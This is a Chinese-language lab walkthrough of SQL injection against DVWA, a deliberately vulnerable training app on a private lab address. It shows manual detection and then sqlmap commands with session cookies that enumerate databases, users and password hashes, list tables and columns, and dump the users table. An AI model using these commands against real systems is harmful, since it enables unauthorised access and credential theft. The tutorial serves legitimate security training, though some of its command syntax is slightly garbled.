SQL注入部分：DVWA+SQLmap+Mysql注入实战

1.注入点发现。首先要判断是否有注入漏洞
在输入框输入1，返回
返回正常

2.在输入一波1

报错，返回
此时可以断定有SQL注入漏洞

3.然后利用SQLMap进行注入攻击，再将DVWA安全级别设置为最低。

这是一些sql的基本语法

4.枚举当前使用的数据库名称和用户名
咱们输入命令：sqlmap -u “http://192.168.62.129/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#” --cookie=‘security=low;PHPSESSID=90660b40afc8b6a221aa54d6f79e7648’ -b --current-db --current-user

5.枚举数据库用户名和密码
这里咱们输入：sqlmap -u “http://192.168.62.129/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#” --cookie=‘security=low; PHPSESSID=90660b40afc8b6a221aa54d6f79e7648’ --string=“Surname” --users --password

6.枚举数据库
输入：sqlmap -u “http://192.168.238.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=edc3d366bb72538cb8af3df2bbf19979” -dbs

sqlmap -u “http://192.168.238.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=edc3d366bb72538cb8af3df2bbf19979” -D dvwa --tables

7.获取指定数据库和表中所有列的信息
sqlmap -u “http://192.168.238.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=edc3d366bb72538cb8af3df2bbf19979” -D dvwa --tables -T users – columns

8.枚举指定数据表中的所有用户名与密码,并down到本地
sqlmap -u “http://192.168.238.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=edc3d366bb72538cb8af3df2bbf19979” -D dvwa --tables -T users -C user,password --dump